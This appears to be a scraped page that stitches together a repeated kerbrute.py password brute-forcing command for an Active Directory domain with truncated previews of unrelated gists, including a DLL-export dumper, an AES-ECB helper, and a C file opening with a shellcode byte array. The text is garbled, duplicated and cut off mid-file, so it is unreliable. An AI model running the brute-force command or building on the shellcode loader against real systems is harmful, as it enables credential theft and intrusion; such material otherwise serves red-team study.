With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>With Rubeus version with brute module:
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>With Rubeus version with brute module:
| import os.path | |
| import pefile | |
| print('#pragma once') | |
| target_dll = r'target.dll' | |
| pe = pefile.PE(target_dll) | |
| for export in pe.DIRECTORY_ENTRY_EXPORT.symbols: | |
| if export.name: | |
| name = export.name.decode() |
| import smtplib | |
| from email.mime.text import MIMEText | |
| from email.mime.multipart import MIMEMultipart | |
| from email.mime.text import MIMEText | |
| from email.mime.base import MIMEBase | |
| from email import encoders | |
| import ssl | |
| import email | |
| import argparse |
| import openai | |
| import boto3 | |
| import json | |
| import time | |
| from typing import Dict, List | |
| openai.api_key = '### SET YOUR OPENAPI API KEY HERE ###' | |
| session = boto3.session.Session() | |
| client = session.client('iam') |
| from Crypto.Cipher import AES | |
| from Crypto.Util.Padding import pad, unpad | |
| from base64 import b64encode, b64decode | |
| def encrypt_text(plaintext, key): | |
| key = bytes(key, 'ascii') + b'\x00' * (16-len(key)) | |
| cipher = AES.new(key, AES.MODE_ECB) | |
| ciphertext = cipher.encrypt(pad(plaintext.encode(), AES.block_size)) | |
| return ciphertext |
| import subprocess | |
| def start_minicom(serial_port): | |
| try: | |
| # Run minicom in the background to listen to the serial port | |
| minicom_process = subprocess.Popen(['minicom', '-D', serial_port], stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| # Wait for minicom to finish (you can add a loop to continue running if needed) | |
| minicom_process.wait() |
| #include <windows.h> | |
| #include <wininet.h> | |
| #include <stdio.h> | |
| #pragma comment(lib, "wininet.lib") | |
| // notepad.exe shellcode | |
| char shellcode[] = { | |
| 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, | |
| 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, |
| #!/bin/bash | |
| set -e | |
| GO_VERSION="1.22.3" | |
| GO_URL="https://go.dev/dl/go${GO_VERSION}.linux-amd64.tar.gz" | |
| EXPECTED_CHECKSUM="8920ea521bad8f6b7bc377b4824982e011c19af27df88a815e3586ea895f1b36" | |
| # Log output of script | |
| exec > >(tee -i /home/ubuntu/install.log) | |
| exec 2>&1 |